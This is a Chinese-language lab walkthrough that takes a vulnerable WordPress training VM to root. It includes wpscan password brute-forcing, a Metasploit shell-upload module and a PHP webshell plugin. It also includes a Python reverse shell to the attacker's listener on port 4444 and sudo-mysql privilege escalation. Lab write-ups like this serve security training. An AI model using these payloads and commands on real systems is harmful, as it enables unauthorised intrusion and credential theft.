实验主机:Os-hackerNos靶机一台/Kali linux攻击机一台
实验网络:NAT网络
实验目标:获取靶机的Root权限
难易程度:中等
一 部署环境
kali与虚拟机全部为NAT连接
二 测试步骤
第一步:信息收集
步骤一:发现主机
arp-scan -l
步骤二:端口扫描
nmap -A -T4 -p- 192.168.3.40
步骤三:目录遍历
dirb http://192.168.3.40/ 发现http://192.168.3.40/wordpress
步骤四:访问192.168.41.150 抓包发现响应包为192.168.159.145 在bp中进行修改 刷新页面 #这里一定要看清楚是响应包
步骤五:使用wpscan探测出存在用户 admin
wpscan --url http://192.168.41.150/wordpress --enumerate
步骤六:使用wpscan探测admin的密码
wpscan --url http://192.168.41.150/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
登录名 admin 密码 adam14
步骤七:进行登录
第二步:漏洞利用 获取webshell
步骤一:kali开启msf并配置模块
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.3.40
set username admin
set password adam14
set targeturi /wordpress
run
步骤二:获取tty
python3 -c 'import pty;pty.spawn("/bin/bash")'
步骤三:在home/wpadmin中发现local.txt 但是无权限
方法二:反弹shell
步骤一:上传代码到plugins
<?php
/**
* Plugin Name:Webshell
* Plugin URI:https//yuanfh.github.io
* Description:WP Webshell for Pentest
* Version:1.0
* Author:yuanfh
* Author URI:https://yuanfh.github.io
* License:https://yuanfh.github.io
*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
步骤二:访问尝试访问http://192.168.41.150/wordpress/wp-content/plugins/shell.php?cmd=id
步骤三:反弹shell kali监听4444端口
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.41.130",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(["/bin/bash"])'
第三步:权限提升
步骤一: 查看wp-config配置文件 发现有密码Wp_Admin#123
cat /var/www/html/wordpress/wp-config.php
步骤二:尝试进行登录 admin不行 查看是否还存在其他用户 发现存在wpadmin
步骤三:使用wpadmin Wp_Admin#123切换用户 但是失败 想到还有一个密码adam14 成功
步骤四:查看flag
步骤五:查看此用户可执行的权限 发现可无密码执行 /usr/bin/mysql -u root -D wordpress -p
sudo /usr/bin/mysql -u root -D wordpress -p
步骤六:查看id 成功切换到root权限
system id
步骤七:查找第二个flag
system bash